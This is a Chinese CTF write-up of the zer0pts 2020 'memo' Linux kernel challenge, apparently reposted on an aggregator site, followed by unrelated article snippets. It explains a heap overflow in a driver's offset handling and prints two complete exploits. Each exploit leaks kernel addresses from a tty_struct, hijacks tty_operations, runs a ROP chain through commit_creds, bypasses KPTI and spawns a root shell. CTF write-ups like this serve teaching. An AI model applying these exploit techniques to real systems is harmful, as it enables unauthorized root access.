zer0pts-2020-memo:由文件偏移处理不正确--引发的堆溢出

启动脚本

#!/bin/sh
qemu-system-x86_64 \-m 256M \-kernel ./bzImage \-initrd ./rootfs.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \-cpu kvm64,+smep,+smap \-monitor /dev/null \-nographic -enable-kvm
/ # dmesg | grep 'page table'
[    0.712632] Kernel/User page tables isolation: enabled
/ # cat /proc/cpuinfo | grep pti
fpu_exception	: yes
flags		: ... pti smep smap

smep,smap,kaslr,pti都开启了

问题

mod_readmod_write中,没有检查filp->f_ops+count的情况
在这里插入图片描述

利用方式

#define DEVICE_NAME "memo"
#define MAX_SIZE 0x400
memo = kmalloc(MAX_SIZE, GFP_KERNEL);

1、在驱动打开的时候,分配的memo是kmalloc-0x400的slab
2、分配tty_struct,使得与memo在同一kcache中,并且在memo下方
3、通过读memo下方的tty_struct,从而得到内核基地址(绕过kaslr)和堆相关的地址(从而获得memo的地址kernheap,布置rop)
4、将tty_struct->tty_operations指向memo的0x300处
5、将memo的0x300开始布置tty_operations,在0x300+0xC*8处布置tty_operations->ioctl,一个栈迁移指令
6、将rop布置到memo起始处(通过swapgs_restore_regs_and_return_to_usermode绕过PTI
7、ioctl(ptmx, kernheap, kernheap); kernheap为rdi

提权

exp1

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>#define ulong unsigned longulong user_cs, user_ss, user_sp, user_rflags;void pop_shell(void)
{char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};execve("/bin/sh", argv, envp);
}static void save_state(void)
{asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %2\n""pushfq\n""popq %3\n": "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}int main(void)
{// 前提是可以溢出,int memo = open("/dev/memo", O_RDWR); // 申请 0x400的空间int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY); // 申请 0x400 tty_structchar buf[0x400];ulong *rop;ulong kernbase, kernheap;/**** gadgets ****/ulong off_ptm_unix98_ops_kernbase = 0x6191e0;ulong off_kernheap = 0x438;// 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)ulong gad1 = 0x243b8;// 0xffffffff810e7ae8: pop rdi ; ret  ;  (47 found)ulong pop_rdi = 0xe7ae8;// 0xffffffff8100fc8e: mov rdi, rax ; rep movsq  ; ret  ;  (1 found)ulong mov_rdi_rax = 0xfc8e;// 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret  ;  (2 found)ulong pop_rcx = 0xfb892;ulong prepare_kernel_cred = 0x44850;ulong commit_creds = 0x44680;/*0xffffffff812009c4 <+68>:    mov    rdi,rsp0xffffffff812009c7 <+71>:    mov    rsp,QWORD PTR ds:0xffffffff818060040xffffffff812009cf <+79>:    push   QWORD PTR [rdi+0x30]0xffffffff812009d2 <+82>:    push   QWORD PTR [rdi+0x28]0xffffffff812009d5 <+85>:    push   QWORD PTR [rdi+0x20]0xffffffff812009d8 <+88>:    push   QWORD PTR [rdi+0x18]0xffffffff812009db <+91>:    push   QWORD PTR [rdi+0x10]0xffffffff812009de <+94>:    push   QWORD PTR [rdi]0xffffffff812009e0 <+96>:    push   rax0xffffffff812009e1 <+97>:    xchg   ax,ax0xffffffff812009e3 <+99>:    mov    rdi,cr30xffffffff812009e6 <+102>:   jmp    0xffffffff81200a1a <common_interrupt+154>0xffffffff812009e8 <+104>:   mov    rax,rdi0xffffffff812009eb <+107>:   and    rdi,0x7ff*/ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4;// 保存状态save_state();// 溢出,读取 tty_structlseek(memo, 0x300, SEEK_SET);read(memo, buf, 0x400);// leak kernbase and kernheap// 可以从 tty_struct 中获取两类数据,代码的基地址,堆的基地址kernbase = *(unsigned long *)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;  // 这个很明显printf("kernbase: %lx\n", kernbase);// struct tty_struct-> read_wait(list_head)->next 指向了自己// 这个地方 off_kernheap 在不同的环境下不一定,需要自己调试确认一下kernheap = *(unsigned long *)(buf + 0x100 + 0x38) - off_kernheap; // kernheap 是 /dev/memo 堆地址printf("kernheap: %lx\n", kernheap);// vtableへのポインタの書き換え*(unsigned long *)(buf + 0xc * 8) = kernbase + gad1;       // fake ioctl entry*(unsigned long *)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer // 将提取代码布置到 第一个0x400中lseek(memo, 0x300, SEEK_SET);write(memo, buf, 0x400); // overwrite ops and ioctl entry// ROP chainrop = (unsigned long *)buf;// gad1のごまかし*6*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;// init_task の cred を入手*rop++ = kernbase + pop_rdi;*rop++ = 0;*rop++ = kernbase + prepare_kernel_cred;// 入手したcredを引数にしてcommit*rop++ = kernbase + pop_rcx; // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく*rop++ = 0;*rop++ = kernbase + mov_rdi_rax;*rop++ = kernbase + commit_creds;// return to usermode by swapgs_restore_regs_and_return_to_usermode*rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;*rop++ = 0;*rop++ = 0;*rop++ = (ulong)&pop_shell;*rop++ = user_cs;*rop++ = user_rflags;*rop++ = user_sp;*rop++ = user_ss;// invoke shelllseek(memo, 0x0, SEEK_SET);write(memo, buf, 0x100);// ioctl(ptmx,0xdeadbeef,0xcafebabe);// ioctl(ptmx,rip,rdx)// rip = 0xdeadbeef// rdx = 0xcafebabeioctl(ptmx, kernheap, kernheap);return 0;
}

exp2

// https://hackmd.io/@ptr-yudai/rJp1TpbBU#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>unsigned long kbase, kheap;
unsigned long ptm_unix98_ops = 0xe65900;unsigned long rop_mov_cr4_edi = 0x04b6a1;
unsigned long rop_push_r12_add_rbp_41_ebx_pop_rsp_r13 = 0x94d4e3;
unsigned long rop_pop_rdi = 0x001268;
unsigned long rop_pop_rcx = 0x04c852;
unsigned long rop_mov_rdi_rax = 0x019dcb;
unsigned long rop_bypass_kpti = 0xa00a45;
unsigned long commit_creds = 0xffffffff9127b8b0 - 0xffffffff91200000;
unsigned long prepare_kernel_cred = 0xffffffff9127bb50 - 0xffffffff91200000;unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;static void save_state()
{asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %2\n""pushfq\n""popq %3\n": "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags):: "memory");
}static void win() {char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};puts("[+] Win!");execve("/bin/sh", argv, envp);
}int main() {unsigned long buf[0x400 / sizeof(unsigned long)];save_state();/* open drivers */int fd = open("/dev/memo", O_RDWR);if (fd < 0) {perror("/dev/memo");return 1;}int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);if (ptmx < 0) {perror("/dev/ptmx");return 1;}/* leak kbase & kheap */lseek(fd, 0x100, SEEK_SET);read(fd, buf, 0x400);kbase = buf[(0x300 + 0x18) / sizeof(unsigned long)] - ptm_unix98_ops;kheap = buf[(0x300 + 0x38) / sizeof(unsigned long)] - 0x38 - 0x400;printf("[+] kbase = 0x%016lx\n", kbase);printf("[+] kheap = 0x%016lx\n", kheap);/* write fake vtable, rop chain & overwrite ops */// fake tty_structbuf[(0x300 + 0x18) / sizeof(unsigned long)] = kheap + 0x100; // ops// fake tty_operationsbuf[12] = kbase + rop_push_r12_add_rbp_41_ebx_pop_rsp_r13; // ioctl// rop chainunsigned long *chain = &buf[0x100 / sizeof(unsigned long)];*chain++ = kbase + rop_pop_rdi;*chain++ = 0;*chain++ = kbase + prepare_kernel_cred;*chain++ = kbase + rop_pop_rcx;     // make rcx 0 to bypass rep*chain++ = 0;*chain++ = kbase + rop_mov_rdi_rax;*chain++ = kbase + commit_creds;    // cc(pkc(0));*chain++ = kbase + rop_bypass_kpti; // return to usermode*chain++ = 0xdeadbeef;*chain++ = 0xdeadbeef;*chain++ = (unsigned long)&win;*chain++ = user_cs;*chain++ = user_rflags;*chain++ = user_sp;*chain++ = user_ss;// overwrite!lseek(fd, 0x100, SEEK_SET);write(fd, buf, 0x400);/* ignite! */ioctl(ptmx, 0xdeadbeef, kheap + 0x200 - 8); // -8 for pop r13return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2775092.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

倒计时61天

M-智乃的36倍数(normal version)_2024牛客寒假算法基础集训营3 (nowcoder.com) //非ac代码,超时了,54.17/100#include<bits/stdc.h> using namespace std; const int N1e55; const int inf0x3f3f3f3f; #define int long long int n; string s1[N]; void solve() {cin>…

第4章 表单与类视图

学习目标 熟悉Flask处理表单的方式&#xff0c;能够归纳在Flask程序中如何处理表单 掌握Flask-WTF扩展包的安装&#xff0c;能够借助pip工具安装Flask-WTF扩展包 掌握使用Flask-WTF创建表单的方式&#xff0c;能够独立使用Flask-WTF创建表单 掌握在模板中渲染表单的方式&…

《MySQL 简易速速上手小册》第4章:数据安全性管理(2024 最新版)

文章目录 4.1 用户认证和权限控制4.1.1 基础知识4.1.2 重点案例&#xff1a;使用 Python 管理 MySQL 用户权限4.1.3 拓展案例 4.2 防止 SQL 注入和其他安全威胁4.2.1 基础知识4.2.2 重点案例&#xff1a;使用 Python 和 MySQL 进行安全的数据查询4.2.3 拓展案例 4.3 数据加密和…

代码随想录算法训练营day14||二叉树part01、理论基础、递归遍历、迭代遍历、统一迭代

递归遍历 &#xff08;必须掌握&#xff09; 本篇将介绍前后中序的递归写法&#xff0c;一些同学可能会感觉很简单&#xff0c;其实不然&#xff0c;我们要通过简单题目把方法论确定下来&#xff0c;有了方法论&#xff0c;后面才能应付复杂的递归。 这里帮助大家确定下来递归…

licheepi nano 从零开始使用sd卡启动

本文目的&#xff1a;licheepi nano从零开始&#xff0c;使用sd卡启动&#xff1b; 某些原因导致需要重新捣鼓uboot&#xff0c;但过程中频繁出错&#xff0c;后悔最初没有记录详细的操作方法&#xff0c;此帖主要为自己出口气&#xff0c;重新记录&#xff1b; 持续完善&#…

P1176 路径计数2

网址如下&#xff1a; P1176 路径计数2 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 动归典中典 代码如下&#xff1a; #include<iostream> using namespace std; bool map[1001][1001]; int dp[1001][1001];int main(void) {//输入int N, M;cin >> N >&g…

使用CubeMX快速开始STM32微控制器开发

CubeMX是一款由STMicroelectronics提供的集成开发环境&#xff0c;可以帮助开发者快速启动STM32微控制器的开发。屏蔽了底层配置的繁琐&#xff0c;简化了开发流程&#xff0c;减少了开发时间。本文将向您介绍使用CubeMX进行STM32开发的基本步骤&#xff0c;并附上部分示例代码…

【CV论文精读】【MVDet】Multiview Detection with Feature Perspective Transformation

0.论文摘要 合并多个摄像机视图进行检测减轻了拥挤场景中遮挡的影响。在多视图检测系统中&#xff0c;我们需要回答两个重要问题。首先&#xff0c;我们应该如何从多个视图中聚合线索&#xff1f;第二&#xff0c;我们应该如何从空间上相邻的位置聚集信息&#xff1f;为了解决…

C#调用WechatOCR.exe实现本地OCR文字识别

最近遇到一个需求&#xff1a;有大量的扫描件需要还原为可编辑的文本&#xff0c;很显然需要用到图片OCR识别为文字技术。本来以为这个技术很普遍的&#xff0c;结果用了几个开源库&#xff0c;效果不理想。后来&#xff0c;用了取巧的方法&#xff0c;直接使用了WX的OCR识别模…

彩虹系统7.0免授权+精美WAP端模板源码

最低配置环境 PHP7.2 1、上传源码到网站根目录&#xff0c;导入数据库文件 2、修改数据库配置文件&#xff1a;/config.php 3、后台&#xff1a;/admin 账号&#xff1a; 4、前台用户&#xff1a;123456 密码&#xff1a;1234561

回顾2023展望2024,追逐光成为光

&#x1f469; 个人主页&#xff1a;不爱吃糖的程序媛 &#x1f64b;‍♂️ 作者简介&#xff1a;前端领域新星创作者、CSDN内容合伙人&#xff0c;专注于前端各领域技术&#xff0c;成长的路上共同学习共同进步&#xff0c;一起加油呀&#xff01; ✨系列专栏&#xff1a;前端…

【前端素材】bootstrap4实现葡萄酒品牌电商网站Bidouno(附带源码)

一、需求分析 葡萄酒品牌电商网站是一个专门销售葡萄酒的在线平台。它提供各种类型和品牌的葡萄酒&#xff0c;包括红葡萄酒、白葡萄酒、起泡酒等。葡萄酒品牌电商网站的功能可以从以下几个方面来分析&#xff1a; 1. 提供多样化的选择&#xff1a;葡萄酒品牌电商网站通常会提…

手动汉化unity编辑器,解决下载中文语言报错问题

手动汉化unity编辑器&#xff0c;解决下载中文语言报错问题 START 最近在下载支持微信小程序版本的编辑器时&#xff0c;中文语言包&#xff0c;一直无法下载。记录一下 手动汉化unity编辑器的方法 &#xff0c;帮助和我遇到同样问题的人。 解决方案 1. 下载汉化包 https:…

【原理图PCB专题】Cadence17.4版本新增加的Cutout和Design_Outline层有什么用?

在Cadence 17.4版本中我们发现在Board Geometry下面多出了Cutout和Design_Outline两层,其实这两层在高版本的软件中都做为板框使用。 如下所示在输出光绘时,如果没有将Cutout和Desing_Outline两层加入,还是使用16版本的Outline来定义板框的话,在出光绘时会提示:WA…

automative

car sevice car-lib

【python量化交易】qteasy使用教程01 - 安装方法及初始化配置

qteasy教程1 - 安装方法及初始化配置 qteasy教程1 - 安装方法及初始配置qteasy安装前的准备工作1&#xff0c; 创建安装环境2&#xff0c;安装MySQL数据库 (可选)安装pymysql 3&#xff0c;创建tushare账号并获取API token (可选)4&#xff0c;安装TA-lib (可选)WindowsMac OSL…

简单说网络:TCP+UDP

TCP和UPD: (1)都工作在传输层 (2)目的都是在程序之中传输数据 (3)数据可以是文本、视频或者图片(对TCP和UDP来说都是一堆二进制数没有太大区别) 一、区别:一个基于连接一个基于非连接 将人与人之间的通信比喻为进程和进程之前的通信:基本上有两种方式(1)写信;(2)打电话;这…

FPGA_ip_Rom

一 理论 Rom存储类ip核&#xff0c;Rom是只读存储器的简称&#xff0c;是一种只能读出事先存储数据的固态半导体存储器。 特性&#xff1a; 一旦储存资料&#xff0c;就无法再将之改变或者删除&#xff0c;且资料不会因为电源关闭而消失。 单端口Rom: 双端口rom: 二 Rom ip核…

问题:在下列选项中,下列哪种情况不属于生理排泄过程的是() #媒体#学习方法#经验分享

问题&#xff1a;在下列选项中&#xff0c;下列哪种情况不属于生理排泄过程的是&#xff08;&#xff09; A.CO2由呼吸系统排出 B.食物残渣由消化道排出 C.皮肤排出汗液 D.肾脏排出尿液 E.由消化道排出的胆色素 参考答案如图所示

BGP 双归不同运营商并且客户之间互为主备的部署实验

一、拓朴&#xff1a; 要求&#xff1a; 1、双方 ISP 均不得将客户 AS 做为穿越 AS 2、对于客户业务的出流量&#xff1a;客户 AS100 和 200 访问 ISP 时&#xff0c;AS100优选从 Line-1 线路&#xff0c;AS200 优选从 Line-2 访问&#xff0c;但当 Line-1 和 …